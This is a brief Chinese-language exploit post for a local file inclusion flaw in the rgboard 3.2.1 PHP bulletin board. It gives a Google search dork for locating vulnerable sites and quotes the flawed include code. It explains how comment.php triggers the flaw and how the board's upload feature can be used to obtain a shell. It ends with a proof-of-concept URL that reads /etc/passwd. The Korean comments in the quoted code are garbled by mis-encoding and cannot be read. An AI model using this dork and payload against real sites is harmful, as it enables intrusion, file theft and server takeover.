|
version: rgboard_3.2.1
googledrok:
inurl:rgboard or inurl:view.php?bbs_id
漏洞文件:
_header.php
Code:<?
if(realpath($_SERVER[SCRIPT_FILENAME]) == realpath(__FILE__)) exit;
// 俊靛柯捞扼搁 霸矫魄 仟磐 公矫
if(!eregi('addon.php$',$HTTP_SERVER_VARS["PHP_SELF"])) {
if ($bbs[bbs_footer_file] && file_exists("$bbs[bbs_footer_file]"))
include "$bbs[bbs_footer_file]";
echo $bbs[bbs_footer_tag];
}
if ($group[gr_footer_file] && file_exists("$group[gr_footer_file]"))
include "$group[gr_footer_file]";
echo $group[gr_footer_tag];
?>
因为realpath($_SERVER[SCRIPT_FILENAME]) == realpath(__FILE__),限制了,无法从_header.php文件解发漏洞..而作者用file_exists 函数判断group[gr_footer_file] 文件否存在.所以无法使远程包含漏洞发生…但作者没有限制后缀,所以可以直接利用程序本身的上传拿SHELL.
comment.phprequire_once("include/bbs.lib.inc.php");
if(!$auth[bbs_comment]) {
$error_msg = '鼻茄捞 绝嚼聪促.';
require_once("_header.php");
include($skin_board_path."error.php");
require_once("_footer.php");
exit;
}
Comment.php 包含了_header.php ,刚好利用comment.php 文件触发本地包含漏洞的发生..
Poc:http://127.0.0.1/rgboard/bbs/comment.php?group[gr_footer_file]=/etc/passwd |
|